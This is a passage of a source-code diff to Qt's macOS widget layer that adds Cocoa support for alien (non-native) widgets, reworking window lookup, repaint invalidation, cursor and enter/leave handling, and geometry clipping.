- NSArray *views = [[drawer contentView] subviews];
- for (NSView *view in views) {
- if (view == widgetView)
- return drawer;
- }
}
}
return 0;
@@ -314,7 +307,7 @@ bool qt_mac_is_macdrawer(const QWidget *w)
bool qt_mac_insideKeyWindow(const QWidget *w)
{
#ifdef QT_MAC_USE_COCOA
- return [[reinterpret_cast<NSView *>(w->winId()) window] isKeyWindow];
+ return [[reinterpret_cast<NSView *>(w->effectiveWinId()) window] isKeyWindow];
#else
Q_UNUSED(w);
#endif
@@ -421,7 +414,14 @@ inline static void qt_mac_set_fullscreen_mode(bool b)
Q_GUI_EXPORT OSViewRef qt_mac_nativeview_for(const QWidget *w)
{
- return reinterpret_cast<OSViewRef>(w->data->winid);
+ return reinterpret_cast<OSViewRef>(w->internalWinId());
+}
+
+Q_GUI_EXPORT OSViewRef qt_mac_effectiveview_for(const QWidget *w)
+{
+ // Get the first non-alien (parent) widget for
+ // w, and return its NSView (if it has one):
+ return reinterpret_cast<OSViewRef>(w->effectiveWinId());
}
Q_GUI_EXPORT OSViewRef qt_mac_get_contentview_for(OSWindowRef w)
@@ -479,11 +479,12 @@ bool qt_isGenuineQWidget(const QWidget *window)
Q_GUI_EXPORT OSWindowRef qt_mac_window_for(const QWidget *w)
{
- OSViewRef hiview = qt_mac_nativeview_for(w);
- if (hiview){
+ if (OSViewRef hiview = qt_mac_effectiveview_for(w)) {
OSWindowRef window = qt_mac_window_for(hiview);
- if (!window && qt_isGenuineQWidget(hiview)) {
- QWidget *myWindow = w->window();
+ if (window)
+ return window;
+
+ if (qt_isGenuineQWidget(hiview)) {
// This is a workaround for NSToolbar. When a widget is hidden
// by clicking the toolbar button, Cocoa reparents the widgets
// to another window (but Qt doesn't know about it).
@@ -491,18 +492,22 @@ Q_GUI_EXPORT OSWindowRef qt_mac_window_for(const QWidget *w)
// but at this point it's window is nil, but the window it's being brought
// into (the Qt one) is for sure created.
// This stops the hierarchy moving under our feet.
- if (myWindow != w && qt_mac_window_for(qt_mac_nativeview_for(myWindow)))
- return qt_mac_window_for(qt_mac_nativeview_for(myWindow));
+ QWidget *toplevel = w->window();
+ if (toplevel != w) {
+ hiview = qt_mac_nativeview_for(toplevel);
+ if (OSWindowRef w = qt_mac_window_for(hiview))
+ return w;
+ }
- myWindow->d_func()->createWindow_sys();
- // Reget the hiview since the "create window could potentially move the view (I guess).
- hiview = qt_mac_nativeview_for(w);
- window = qt_mac_window_for(hiview);
+ toplevel->d_func()->createWindow_sys();
+ // Reget the hiview since "create window" could potentially move the view (I guess).
+ hiview = qt_mac_nativeview_for(toplevel);
+ return qt_mac_window_for(hiview);
}
- return window;
}
return 0;
}
+
#ifndef QT_MAC_USE_COCOA
/* Checks if the current group is a 'stay on top' group. If so, the
group gets removed from the hash table */
@@ -580,25 +585,6 @@ inline static void qt_mac_set_window_group_to_popup(OSWindowRef window)
}
#endif
-#ifdef QT_MAC_USE_COCOA
-void qt_mac_set_needs_display(QWidget *widget, QRegion region)
-{
- NSView *theNSView = qt_mac_nativeview_for(widget);
- if (region.isEmpty()) {
- [theNSView setNeedsDisplay:YES];
- return;
- }
-
- QVector<QRect> rects = region.rects();
- for (int i = 0; i<rects.count(); ++i) {
- const QRect &rect = rects.at(i);
- NSRect nsrect = NSMakeRect(rect.x(), rect.y(), rect.width(), rect.height());
- [theNSView setNeedsDisplayInRect:nsrect];
- }
-
-}
-#endif
-
inline static bool updateRedirectedToGraphicsProxyWidget(QWidget *widget, const QRect &rect)
{
if (!widget)
@@ -636,6 +622,51 @@ inline static bool updateRedirectedToGraphicsProxyWidget(QWidget *widget, const
return false;
}
+void QWidgetPrivate::macSetNeedsDisplay(QRegion region)
+{
+ Q_Q(QWidget);
+#ifndef QT_MAC_USE_COCOA
+ if (region.isEmpty())
+ HIViewSetNeedsDisplay(qt_mac_nativeview_for(q), true);
+ else if (RgnHandle rgnHandle = region.toQDRgnForUpdate_sys())
+ HIViewSetNeedsDisplayInRegion(qt_mac_nativeview_for(q), QMacSmartQuickDrawRegion(rgnHandle), true);
+ else
+ HIViewSetNeedsDisplay(qt_mac_nativeview_for(q), true); // do a complete repaint on overflow.
+#else
+ if (NSView *nativeView = qt_mac_nativeview_for(q)) {
+ // INVARIANT: q is _not_ alien. So we can optimize a little:
+ if (region.isEmpty()) {
+ [nativeView setNeedsDisplay:YES];
+ } else {
+ QVector<QRect> rects = region.rects();
+ for (int i = 0; i<rects.count(); ++i) {
+ const QRect &rect = rects.at(i);
+ NSRect nsrect = NSMakeRect(rect.x(), rect.y(), rect.width(), rect.height());
+ [nativeView setNeedsDisplayInRect:nsrect];
+ }
+ }
+ } else if (QWidget *effectiveWidget = q->nativeParentWidget()) {
+ // INVARIANT: q is alien, and effectiveWidget is native.
+ if (NSView *effectiveView = qt_mac_nativeview_for(effectiveWidget)) {
+ if (region.isEmpty()) {
+ const QRect &rect = q->rect();
+ QPoint p = q->mapTo(effectiveWidget, rect.topLeft());
+ NSRect nsrect = NSMakeRect(p.x(), p.y(), rect.width(), rect.height());
+ [effectiveView setNeedsDisplayInRect:nsrect];
+ } else {
+ QVector<QRect> rects = region.rects();
+ for (int i = 0; i<rects.count(); ++i) {
+ const QRect &rect = rects.at(i);
+ QPoint p = q->mapTo(effectiveWidget, rect.topLeft());
+ NSRect nsrect = NSMakeRect(p.x(), p.y(), rect.width(), rect.height());
+ [effectiveView setNeedsDisplayInRect:nsrect];
+ }
+ }
+ }
+ }
+#endif
+}
+
void QWidgetPrivate::macUpdateIsOpaque()
{
Q_Q(QWidget);
@@ -1569,6 +1600,11 @@ OSViewRef qt_mac_create_widget(QWidget *widget, QWidgetPrivate *widgetPrivate, O
#ifdef QT_MAC_USE_COCOA
QMacCocoaAutoReleasePool pool;
QT_MANGLE_NAMESPACE(QCocoaView) *view = [[QT_MANGLE_NAMESPACE(QCocoaView) alloc] initWithQWidget:widget widgetPrivate:widgetPrivate];
+
+#ifdef ALIEN_DEBUG
+ qDebug() << "Creating NSView for" << widget;
+#endif
+
if (view && parent)
[parent addSubview:view];
return view;
@@ -1635,7 +1671,7 @@ bool QWidgetPrivate::qt_mac_update_sizer(QWidget *w, int up)
// to happen, prevent that here (you really want the thing hidden).
if (up >= 0 || topData->resizer != 0)
topData->resizer += up;
- OSWindowRef windowRef = qt_mac_window_for(OSViewRef(w->winId()));
+ OSWindowRef windowRef = qt_mac_window_for(OSViewRef(w->effectiveWinId()));
{
#ifndef QT_MAC_USE_COCOA
WindowClass wclass;
@@ -1670,6 +1706,7 @@ bool QWidgetPrivate::qt_mac_update_sizer(QWidget *w, int up)
void QWidgetPrivate::qt_clean_root_win()
{
#ifdef QT_MAC_USE_COCOA
+ QMacCocoaAutoReleasePool pool;
[qt_root_win release];
#else
if(!qt_root_win)
@@ -2310,15 +2347,12 @@ void QWidgetPrivate::finishCreateWindow_sys_Cocoa(void * /*NSWindow * */ voidWin
}
[windowRef setContentView:nsview];
[nsview setHidden:NO];
- if (q->testAttribute(Qt::WA_DropSiteRegistered))
- registerDropSite(true);
transferChildren();
// Tell Cocoa explicit that we wan't the view to receive key events
// (regardless of focus policy) because this is how it works on other
// platforms (and in the carbon port):
- if (!qApp->focusWidget())
- [windowRef makeFirstResponder:nsview];
+ [windowRef makeFirstResponder:nsview];
if (topExtra->posFromMove) {
updateFrameStrut();
@@ -2349,8 +2383,9 @@ void QWidgetPrivate::finishCreateWindow_sys_Cocoa(void * /*NSWindow * */ voidWin
q->setAttribute(Qt::WA_WState_WindowOpacitySet, false);
}
- if (qApp->overrideCursor())
- [windowRef disableCursorRects];
+ // Its more performant to handle the mouse cursor
+ // ourselves, expecially when using alien widgets:
+ [windowRef disableCursorRects];
setWindowLevel();
macUpdateHideOnSuspend();
@@ -2468,8 +2503,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
data.crect.setRect(0, 0, desktopSize.width(), desktopSize.height());
dialog = popup = false; // force these flags off
} else {
- q->setAttribute(Qt::WA_WState_Visible, false);
-
if (topLevel && (type != Qt::Drawer)) {
if (QDesktopWidget *dsk = QApplication::desktop()) { // calc pos/size from screen
const bool wasResized = q->testAttribute(Qt::WA_Resized);
@@ -2559,6 +2592,8 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
transfer = true;
} else if (parentWidget) {
// I need to be added to my parent, therefore my parent needs an NSView
+ // Alien note: a 'window' was supplied as argument, meaning this widget
+ // is not alien. So therefore the parent cannot be alien either.
parentWidget->createWinId();
parent = qt_mac_nativeview_for(parentWidget);
}
@@ -2630,11 +2665,8 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
data.fstrut_dirty = false; // non-toplevel widgets don't have a frame, so no need to update the strut
#ifdef QT_MAC_USE_COCOA
- if (q->testAttribute(Qt::WA_NativeWindow) == false ||
- q->internalWinId() != 0) {
-#ifdef ALIEN_DEBUG
- qDebug() << "Skipping native widget creation for" << this;
-#endif
+ if (q->testAttribute(Qt::WA_NativeWindow) == false || q->internalWinId() != 0) {
+ // INVARIANT: q is Alien, and we should not create an NSView to back it up.
} else
#endif
if (OSViewRef osview = qt_mac_create_widget(q, this, qt_mac_nativeview_for(parentWidget))) {
@@ -2646,21 +2678,26 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
NSRect bounds = NSMakeRect(data.crect.x(), data.crect.y(), data.crect.width(), data.crect.height());
[osview setFrame:bounds];
setWinId((WId)osview);
+ if (q->isVisible()) {
+ // If q were Alien before, but now became native (e.g. if a call to
+ // winId was done from somewhere), we need to show the view immidiatly:
+ QMacCocoaAutoReleasePool pool;
+ [osview setHidden:NO];
+ }
#endif
- if (q->testAttribute(Qt::WA_DropSiteRegistered))
- registerDropSite(true);
}
}
updateIsOpaque();
+
+ if (q->testAttribute(Qt::WA_DropSiteRegistered))
+ registerDropSite(true);
if (q->hasFocus())
setFocus_sys();
if (!topLevel && initializeWindow)
setWSGeometry();
if (destroyid)
qt_mac_destructView(destroyid);
- if (q->testAttribute(Qt::WA_AcceptTouchEvents))
- registerTouchWindow();
}
/*!
@@ -2694,16 +2731,29 @@ QWidget::macCGHandle() const
return handle();
}
+void qt_mac_repaintParentUnderAlienWidget(QWidget *alienWidget)
+{
+ QWidget *nativeParent = alienWidget->nativeParentWidget();
+ if (!nativeParent)
+ return;
+
+ QPoint globalPos = alienWidget->mapToGlobal(QPoint(0, 0));
+ QRect dirtyRect = QRect(nativeParent->mapFromGlobal(globalPos), alienWidget->size());
+ nativeParent->repaint(dirtyRect);
+}
+
void QWidget::destroy(bool destroyWindow, bool destroySubWindows)
{
Q_D(QWidget);
+ QMacCocoaAutoReleasePool pool;
d->aboutToDestroy();
if (!isWindow() && parentWidget())
parentWidget()->d_func()->invalidateBuffer(d->effectiveRectFor(geometry()));
+ if (!internalWinId())
+ qt_mac_repaintParentUnderAlienWidget(this);
d->deactivateWidgetCleanup();
qt_mac_event_release(this);
if(testAttribute(Qt::WA_WState_Created)) {
- QMacCocoaAutoReleasePool pool;
setAttribute(Qt::WA_WState_Created, false);
QObjectList chldrn = children();
for(int i = 0; i < chldrn.size(); i++) { // destroy all widget children
@@ -2759,7 +2809,7 @@ void QWidget::destroy(bool destroyWindow, bool destroySubWindows)
void QWidgetPrivate::transferChildren()
{
Q_Q(QWidget);
- if (!q->testAttribute(Qt::WA_WState_Created))
+ if (!q->internalWinId())
return; // Can't add any views anyway
QObjectList chlist = q->children();
@@ -2771,7 +2821,7 @@ void QWidgetPrivate::transferChildren()
// This seems weird, no need to call it in a loop right?
if (!topData()->caption.isEmpty())
setWindowTitle_helper(extra->topextra->caption);
- if (w->testAttribute(Qt::WA_WState_Created)) {
+ if (w->internalWinId()) {
#ifndef QT_MAC_USE_COCOA
HIViewAddSubview(qt_mac_nativeview_for(q), qt_mac_nativeview_for(w));
#else
@@ -2900,11 +2950,11 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f)
#ifndef QT_MAC_USE_COCOA
old_window_event = window_event;
#else
- OSWindowRef oldWindow = qt_mac_window_for(old_id);
if (qt_mac_is_macdrawer(q)) {
oldDrawer = qt_mac_drawer_for(q);
}
if (wasWindow) {
+ OSWindowRef oldWindow = qt_mac_window_for(old_id);
oldToolbar = [oldWindow toolbar];
if (oldToolbar) {
[oldToolbar retain];
@@ -3026,7 +3076,7 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f)
QPoint QWidget::mapToGlobal(const QPoint &pos) const
{
Q_D(const QWidget);
- if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
+ if (!internalWinId()) {
QPoint p = pos + data->crect.topLeft();
return isWindow() ? p : parentWidget()->mapToGlobal(p);
}
@@ -3053,7 +3103,7 @@ QPoint QWidget::mapToGlobal(const QPoint &pos) const
QPoint QWidget::mapFromGlobal(const QPoint &pos) const
{
Q_D(const QWidget);
- if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
+ if (!internalWinId()) {
QPoint p = isWindow() ? pos : parentWidget()->mapFromGlobal(pos);
return p - data->crect.topLeft();
}
@@ -3080,28 +3130,12 @@ void QWidgetPrivate::updateSystemBackground()
void QWidgetPrivate::setCursor_sys(const QCursor &)
{
-#ifndef QT_MAC_USE_COCOA
qt_mac_update_cursor();
-#else
- Q_Q(QWidget);
- if (q->testAttribute(Qt::WA_WState_Created)) {
- QMacCocoaAutoReleasePool pool;
- [qt_mac_window_for(q) invalidateCursorRectsForView:qt_mac_nativeview_for(q)];
- }
-#endif
}
void QWidgetPrivate::unsetCursor_sys()
{
-#ifndef QT_MAC_USE_COCOA
qt_mac_update_cursor();
-#else
- Q_Q(QWidget);
- if (q->testAttribute(Qt::WA_WState_Created)) {
- QMacCocoaAutoReleasePool pool;
- [qt_mac_window_for(q) invalidateCursorRectsForView:qt_mac_nativeview_for(q)];
- }
-#endif
}
void QWidgetPrivate::setWindowTitle_sys(const QString &caption)
@@ -3243,24 +3277,28 @@ void QWidget::grabMouse()
if(mac_mouse_grabber)
mac_mouse_grabber->releaseMouse();
mac_mouse_grabber=this;
+ qt_mac_setMouseGrabCursor(true);
}
}
#ifndef QT_NO_CURSOR
-void QWidget::grabMouse(const QCursor &)
+void QWidget::grabMouse(const QCursor &cursor)
{
if(isVisible() && !qt_nograb()) {
if(mac_mouse_grabber)
mac_mouse_grabber->releaseMouse();
mac_mouse_grabber=this;
+ qt_mac_setMouseGrabCursor(true, const_cast<QCursor *>(&cursor));
}
}
#endif
void QWidget::releaseMouse()
{
- if(!qt_nograb() && mac_mouse_grabber == this)
+ if(!qt_nograb() && mac_mouse_grabber == this) {
mac_mouse_grabber = 0;
+ qt_mac_setMouseGrabCursor(false);
+ }
}
void QWidget::grabKeyboard()
@@ -3345,35 +3383,10 @@ QWindowSurface *QWidgetPrivate::createDefaultWindowSurface_sys()
void QWidgetPrivate::update_sys(const QRect &r)
{
Q_Q(QWidget);
- if (r == q->rect()) {
- if (updateRedirectedToGraphicsProxyWidget(q, r))
- return;
- dirtyOnWidget += r;
-#ifndef QT_MAC_USE_COCOA
- HIViewSetNeedsDisplay(qt_mac_nativeview_for(q), true);
-#else
- qt_mac_set_needs_display(q, QRegion());
-#endif
+ if (updateRedirectedToGraphicsProxyWidget(q, r))
return;
- }
-
- int x = r.x(), y = r.y(), w = r.width(), h = r.height();
- if (w < 0)
- w = q->data->crect.width() - x;
- if (h < 0)
- h = q->data->crect.height() - y;
- if (w && h) {
- const QRect updateRect = QRect(x, y, w, h);
- if (updateRedirectedToGraphicsProxyWidget(q, updateRect))
- return;
-#ifndef QT_MAC_USE_COCOA
- dirtyOnWidget += updateRect;
- HIRect r = CGRectMake(x, y, w, h);
- HIViewSetNeedsDisplayInRect(qt_mac_nativeview_for(q), &r, true);
-#else
- [qt_mac_nativeview_for(q) setNeedsDisplayInRect:NSMakeRect(x, y, w, h)];
-#endif
- }
+ dirtyOnWidget += r;
+ macSetNeedsDisplay(r != q->rect() ? r : QRegion());
}
void QWidgetPrivate::update_sys(const QRegion &rgn)
@@ -3382,33 +3395,7 @@ void QWidgetPrivate::update_sys(const QRegion &rgn)
if (updateRedirectedToGraphicsProxyWidget(q, rgn))
return;
dirtyOnWidget += rgn;
-#ifndef QT_MAC_USE_COCOA
- RgnHandle rgnHandle = rgn.toQDRgnForUpdate_sys();
- if (rgnHandle)
- HIViewSetNeedsDisplayInRegion(qt_mac_nativeview_for(q), QMacSmartQuickDrawRegion(rgnHandle), true);
- else {
- HIViewSetNeedsDisplay(qt_mac_nativeview_for(q), true); // do a complete repaint on overflow.
- }
-#else
- // Alien support: get the first native ancestor widget (will be q itself in the non-alien case),
- // map the coordinates from q space to NSView space and invalidate the rect.
- QWidget *nativeParent = q->internalWinId() ? q : q->nativeParentWidget();
- if (nativeParent == 0)
- return;
-
- QVector<QRect> rects = rgn.rects();
- for (int i = 0; i < rects.count(); ++i) {
- const QRect &rect = rects.at(i);
-
- const QRect nativeBoundingRect = QRect(
- QPoint(q->mapTo(nativeParent, rect.topLeft())),
- QSize(rect.size()));
-
- [qt_mac_nativeview_for(nativeParent) setNeedsDisplayInRect:NSMakeRect(nativeBoundingRect.x(),
- nativeBoundingRect.y(), nativeBoundingRect.width(),
- nativeBoundingRect.height())];
- }
-#endif
+ macSetNeedsDisplay(rgn);
}
bool QWidgetPrivate::isRealWindow() const
@@ -3447,7 +3434,6 @@ void QWidgetPrivate::show_sys()
data.fstrut_dirty = true;
if (realWindow) {
- // Delegates can change window state, so record some things earlier.
bool isCurrentlyMinimized = (q->windowState() & Qt::WindowMinimized);
setModal_sys();
OSWindowRef window = qt_mac_window_for(q);
@@ -3494,9 +3480,11 @@ void QWidgetPrivate::show_sys()
}
}
setSubWindowStacking(true);
+ qt_mac_update_cursor();
#endif
if (q->windowType() == Qt::Popup) {
- if (q->focusWidget())
+ qt_button_down = 0;
+ if (q->focusWidget())
q->focusWidget()->d_func()->setFocus_sys();
else
setFocus_sys();
@@ -3518,21 +3506,34 @@ void QWidgetPrivate::show_sys()
#ifndef QT_MAC_USE_COCOA
HIViewSetVisible(qt_mac_nativeview_for(q), true);
#else
- [qt_mac_nativeview_for(q) setHidden:NO];
-
+ if (NSView *view = qt_mac_nativeview_for(q)) {
+ // INVARIANT: q is native. Just show the view:
+ [view setHidden:NO];
+ } else {
+ // INVARIANT: q is alien. Repaint q instead:
+ q->repaint();
+ }
#endif
}
- if (!QWidget::mouseGrabber()){
- QWidget *enterWidget = QApplication::widgetAt(QCursor::pos());
- QApplicationPrivate::dispatchEnterLeave(enterWidget, qt_mouseover);
- qt_mouseover = enterWidget;
+#ifdef QT_MAC_USE_COCOA
+ if ([NSApp isActive] && !qt_button_down && !QWidget::mouseGrabber()){
+ // Update enter/leave immidiatly, don't wait for a move event. But only
+ // if no grab exists (even if the grab points to this widget, it seems, ref X11)
+ QPoint qlocal, qglobal;
+ QWidget *widgetUnderMouse = 0;
+ qt_mac_getTargetForMouseEvent(0, QEvent::Enter, qlocal, qglobal, 0, &widgetUnderMouse);
+ QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_mouse_receiver);
+ qt_last_mouse_receiver = widgetUnderMouse;
+ qt_last_native_mouse_receiver = widgetUnderMouse ?
+ (widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget()) : 0;
}
+#endif
+ topLevelAt_cache = 0;
qt_event_request_window_change(q);
}
-
QPoint qt_mac_nativeMapFromParent(const QWidget *child, const QPoint &pt)
{
#ifndef QT_MAC_USE_COCOA
@@ -3613,6 +3614,7 @@ void QWidgetPrivate::hide_sys()
}
#endif
toggleDrawers(false);
+ qt_mac_update_cursor();
#ifndef QT_MAC_USE_COCOA
// Clear modality (because it seems something that we've always done).
if (data.window_modality != Qt::NonModal) {
@@ -3660,18 +3662,31 @@ void QWidgetPrivate::hide_sys()
#ifndef QT_MAC_USE_COCOA
HIViewSetVisible(qt_mac_nativeview_for(q), false);
#else
- [qt_mac_nativeview_for(q) setHidden:YES];
+ if (NSView *view = qt_mac_nativeview_for(q)) {
+ // INVARIANT: q is native. Just hide the view:
+ [view setHidden:YES];
+ } else {
+ // INVARIANT: q is alien. Repaint where q is placed instead:
+ qt_mac_repaintParentUnderAlienWidget(q);
+ }
#endif
}
- if (!QWidget::mouseGrabber()){
- QWidget *enterWidget = QApplication::widgetAt(QCursor::pos());
- if (enterWidget && enterWidget->data->in_destructor)
- enterWidget = 0;
- QApplicationPrivate::dispatchEnterLeave(enterWidget, qt_mouseover);
- qt_mouseover = enterWidget;
- }
-
+#ifdef QT_MAC_USE_COCOA
+ if ([NSApp isActive] && !qt_button_down && !QWidget::mouseGrabber()){
+ // Update enter/leave immidiatly, don't wait for a move event. But only
+ // if no grab exists (even if the grab points to this widget, it seems, ref X11)
+ QPoint qlocal, qglobal;
+ QWidget *widgetUnderMouse = 0;
+ qt_mac_getTargetForMouseEvent(0, QEvent::Leave, qlocal, qglobal, 0, &widgetUnderMouse);
+ QApplicationPrivate::dispatchEnterLeave(widgetUnderMouse, qt_last_native_mouse_receiver);
+ qt_last_mouse_receiver = widgetUnderMouse;
+ qt_last_native_mouse_receiver = widgetUnderMouse ?
+ (widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget()) : 0;
+ }
+#endif
+
+ topLevelAt_cache = 0;
qt_event_request_window_change(q);
deactivateWidgetCleanup();
qt_mac_event_release(q);
@@ -3894,12 +3909,14 @@ void QWidgetPrivate::raise_sys()
QWidget *parentWidget = q->parentWidget();
if(parentWidget) {
OSWindowRef parentWindow = qt_mac_window_for(parentWidget);
- if(parentWindow && [parentWindow isOnActiveSpace]) {
- // The window was created in a different space. Therefore if we want
- // to show it in the current space we need to recreate it in the new
- // space.
- recreateMacWindow();
- window = qt_mac_window_for(q);
+ if(parentWindow && [parentWindow respondsToSelector:@selector(isOnActiveSpace)]) {
+ if ([parentWindow performSelector:@selector(isOnActiveSpace)]) {
+ // The window was created in a different space. Therefore if we want
+ // to show it in the current space we need to recreate it in the new
+ // space.
+ recreateMacWindow();
+ window = qt_mac_window_for(q);
+ }
}
}
}
@@ -3916,6 +3933,7 @@ void QWidgetPrivate::raise_sys()
NSView *parentView = [view superview];
[parentView sortSubviewsUsingFunction:compareViews2Raise context:reinterpret_cast<void *>(view)];
}
+ topLevelAt_cache = 0;
#else
if(q->isWindow()) {
//raise this window
@@ -3956,6 +3974,7 @@ void QWidgetPrivate::lower_sys()
NSView *parentView = [view superview];
[parentView sortSubviewsUsingFunction:compareViews2Lower context:reinterpret_cast<void *>(view)];
}
+ topLevelAt_cache = 0;
#else
if(q->isWindow()) {
SendBehind(qt_mac_window_for(q), 0);
@@ -4012,6 +4031,7 @@ void QWidgetPrivate::stackUnder_sys(QWidget *w)
#endif
}
+#ifndef QT_MAC_USE_COCOA
/*
Modifies the bounds for a widgets backing HIView during moves and resizes. Also updates the
widget, either by scrolling its contents or repainting, depending on the WA_StaticContents
@@ -4019,7 +4039,6 @@ void QWidgetPrivate::stackUnder_sys(QWidget *w)
*/
static void qt_mac_update_widget_position(QWidget *q, QRect oldRect, QRect newRect)
{
-#ifndef QT_MAC_USE_COCOA
HIRect bounds = CGRectMake(newRect.x(), newRect.y(),
newRect.width(), newRect.height());
@@ -4111,13 +4130,8 @@ static void qt_mac_update_widget_position(QWidget *q, QRect oldRect, QRect newRe
HIViewSetNeedsDisplayInRect(view, &verticalSlice, true);
const HIRect horizontalSlice = CGRectMake(0, starty, startx, stopy);
HIViewSetNeedsDisplayInRect(view, &horizontalSlice, true);
-#else
- Q_UNUSED(oldRect);
- NSRect bounds = NSMakeRect(newRect.x(), newRect.y(),
- newRect.width(), newRect.height());
- [qt_mac_nativeview_for(q) setFrame:bounds];
-#endif
}
+#endif
/*
Helper function for non-toplevel widgets. Helps to map Qt's 32bit
@@ -4138,7 +4152,15 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
{
Q_Q(QWidget);
Q_ASSERT(q->testAttribute(Qt::WA_WState_Created));
- Q_UNUSED(oldRect);
+
+ if (!q->internalWinId() && QApplicationPrivate::graphicsSystem() != 0) {
+ // We have no view to move, and no paint engine that
+ // we can update dirty regions on. So just return:
+ return;
+ }
+
+ QMacCocoaAutoReleasePool pool;
+
/*
There are up to four different coordinate systems here:
Qt coordinate system for this widget.
@@ -4146,13 +4168,31 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
Qt coordinate system for parent
X coordinate system for parent (relative to parent's wrect).
*/
+
+ // wrect is the same as crect, except that it is
+ // clipped to fit inside parent (and screen):
QRect wrect;
- //xrect is the X geometry of my X widget. (starts out in parent's Qt coord sys, and ends up in parent's X coord sys)
- QRect xrect = data.crect;
+ // wrectInParentCoordSys will be the same as wrect, except that it is
+ // originated in q's parent rather than q itself. It starts out in
+ // parent's Qt coord system, and ends up in parent's coordinate system:
+ QRect wrectInParentCoordSys = data.crect;
+
+ // If q's parent has been clipped, parentWRect will
+ // be filled with the parents clipped crect:
QRect parentWRect;
+
+ // Embedded have different meaning on each platform, and on
+ // Mac, it means that q is a QMacNativeWidget.
bool isEmbeddedWindow = (q->isWindow() && topData()->embedded);
- if (isEmbeddedWindow) {
+#ifdef QT_MAC_USE_COCOA
+ NSView *nsview = qt_mac_nativeview_for(q);
+#endif
+ if (!isEmbeddedWindow) {
+ parentWRect = q->parentWidget()->data->wrect;
+ } else {
+ // INVARIANT: q's parent view is not owned by Qt. So we need to
+ // do some extra calls to get the clipped rect of the parent view:
#ifndef QT_MAC_USE_COCOA
HIViewRef parentView = HIViewGetSuperview(qt_mac_nativeview_for(q));
#else
@@ -4171,43 +4211,57 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
const QRect wrectRange(-WRECT_MAX,-WRECT_MAX, 2*WRECT_MAX, 2*WRECT_MAX);
parentWRect = wrectRange;
}
- } else {
- parentWRect = q->parentWidget()->data->wrect;
}
if (parentWRect.isValid()) {
- // parent is clipped, and we have to clip to the same limit as parent
- if (!parentWRect.contains(xrect) && !isEmbeddedWindow) {
- xrect &= parentWRect;
- wrect = xrect;
- //translate from parent's to my Qt coord sys
+ // INVARIANT: q's parent has been clipped.
+ // So we fit our own wrects inside it:
+ if (!parentWRect.contains(wrectInParentCoordSys) && !isEmbeddedWindow) {
+ wrectInParentCoordSys &= parentWRect;
+ wrect = wrectInParentCoordSys;
+ // Make sure wrect is originated in q's coordinate system:
wrect.translate(-data.crect.topLeft());
}
- //translate from parent's Qt coords to parent's X coords
- xrect.translate(-parentWRect.topLeft());
-
+ // // Make sure wrectInParentCoordSys originated in q's parent coordinate system:
+ wrectInParentCoordSys.translate(-parentWRect.topLeft());
} else {
- // parent is not clipped, we may or may not have to clip
+ // INVARIANT: we dont know yet the clipping rect of q's parent.
+ // So we may or may not have to adjust our wrects:
if (data.wrect.isValid() && QRect(QPoint(),data.crect.size()).contains(data.wrect)) {
- // This is where the main optimization is: we are already
- // clipped, and if our clip is still valid, we can just
- // move our window, and do not need to move or clip
- // children
+ // This is where the main optimization is: we have an old wrect from an earlier
+ // setGeometry call, and the new crect is smaller than it. If the final wrect is
+ // also inside the old wrect, we can just move q and its children to the new
+ // location without any clipping:
+
+ // vrect will be the part of q that's will be visible inside
+ // q's parent. If it inside the old wrect, then we can just move:
+ QRect vrect = wrectInParentCoordSys & q->parentWidget()->rect();
+ vrect.translate(-data.crect.topLeft());
- QRect vrect = xrect & q->parentWidget()->rect();
- vrect.translate(-data.crect.topLeft()); //the part of me that's visible through parent, in my Qt coords
if (data.wrect.contains(vrect)) {
- xrect = data.wrect;
- xrect.translate(data.crect.topLeft());
+ wrectInParentCoordSys = data.wrect;
+ wrectInParentCoordSys.translate(data.crect.topLeft());
#ifndef QT_MAC_USE_COCOA
- HIRect bounds = CGRectMake(xrect.x(), xrect.y(),
- xrect.width(), xrect.height());
+ HIRect bounds = CGRectMake(wrectInParentCoordSys.x(), wrectInParentCoordSys.y(),
+ wrectInParentCoordSys.width(), wrectInParentCoordSys.height());
HIViewSetFrame(qt_mac_nativeview_for(q), &bounds);
#else
- NSRect bounds = NSMakeRect(xrect.x(), xrect.y(),
- xrect.width(), xrect.height());
- [qt_mac_nativeview_for(q) setFrame:bounds];
+ if (nsview) {
+ // INVARIANT: q is native. Set view frame:
+ NSRect bounds = NSMakeRect(wrectInParentCoordSys.x(), wrectInParentCoordSys.y(),
+ wrectInParentCoordSys.width(), wrectInParentCoordSys.height());
+ [nsview setFrame:bounds];
+ } else {
+ // INVARIANT: q is alien. Repaint wrect instead (includes old and new wrect):
+ QWidget *parent = q->parentWidget();
+ QPoint globalPosWRect = parent->mapToGlobal(data.wrect.topLeft());
+
+ QWidget *nativeParent = q->nativeParentWidget();
+ QRect dirtyWRect = QRect(nativeParent->mapFromGlobal(globalPosWRect), data.wrect.size());
+
+ nativeParent->update(dirtyWRect);
+ }
#endif
if (q->testAttribute(Qt::WA_OutsideWSRange)) {
q->setAttribute(Qt::WA_OutsideWSRange, false);
@@ -4216,7 +4270,8 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
#ifndef QT_MAC_USE_COCOA
HIViewSetVisible(qt_mac_nativeview_for(q), true);
#else
- [qt_mac_nativeview_for(q) setHidden:NO];
+ // If q is Alien, the following call does nothing:
+ [nsview setHidden:NO];
#endif
}
}
@@ -4226,8 +4281,8 @@ void QWidgetPrivate::setWSGeometry(bool dontShow, const QRect &oldRect)
#ifndef QT_MAC_USE_COCOA
const QRect validRange(-XCOORD_MAX,-XCOORD_MAX, 2*XCOORD_MAX, 2*XCOORD_MAX);
- if (!validRange.contains(xrect)) {
